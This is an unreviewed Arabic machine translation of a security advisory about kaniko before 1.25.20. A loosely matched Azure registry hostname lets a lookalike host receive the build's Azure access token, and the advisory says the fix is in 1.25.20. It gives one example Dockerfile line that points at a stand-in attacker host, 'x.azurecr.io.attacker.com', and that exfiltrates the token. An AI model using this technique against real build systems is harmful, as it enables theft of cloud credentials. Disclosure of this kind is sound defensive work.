ترجمة آلية لم تُراجَع بعد. النص الإنجليزي هو المرجع في حال الاختلاف.
الملخص
يمكن لأداة kaniko في الإصدارات قبل 1.25.20 إرسال رمز وصول Microsoft Entra ID (Azure AD) الخاص بـ Azure Resource Manager إلى مضيف سجل يسيطر عليه المهاجم. تستخدم kaniko مُساعِد بيانات اعتماد Azure Container Registry المسمى github.com/chrismellard/docker-credential-acr-env، والذي يحدد ما إذا كان المضيف هو سجل ACR باستخدام تعبير منتغير غير مثبت، لذلك يتم قبول أي اسم مستضيف يحتوي على .azurecr.io أو .azurecr.cn أو .azurecr.de أو .azurecr.us. تستشير kaniko هذا المُساعِد لأي سجل ليس لديه بيانات اعتماد في تكوين Docker وليس سجلاً لـ Google أو Amazon ECR، قبل الاتصال بالسجل. إن ملف Dockerfile الذي يشير إلى صورة على مضيف متشابه، مثل FROM x.azurecr.io.attacker.com/img أو COPY --from=<image>، يتسبب في حصول المُساعِد على رمز من هوية Azure الخاصة بالبناء (متغيرات بيئة خدمة الأساس، أو رمز هوية العمل الموحد، أو الهوية المُدارة) وإرساله عبر طلب POST إلى https://<host>/oauth2/exchange. يمكن للمهاجم استخدام الرمز ضد Azure Resource Manager باستخدام تعيينات أدوار الهوية حتى ينتهي صلاحيته، ويمكنه استبداله ببيانات اعتماد لأي سجل ACR يمكن للهوية الوصول إليه. لا يلزم وجود تعليمة RUN أو عملية دفع. تم إصلاح هذه المشكلة في الإصدار 1.25.20.
المعالجة
المراجع
- تصحيحhttps://github.com/chainguard-forks/kaniko/pull/495
- تحذيرhttps://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97
- تحذيرhttps://pkg.go.dev/vuln/GO-2026-6225
- مرجعhttps://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20
- مرجعhttps://github.com/chrismellard/docker-credential-acr-env/issues/21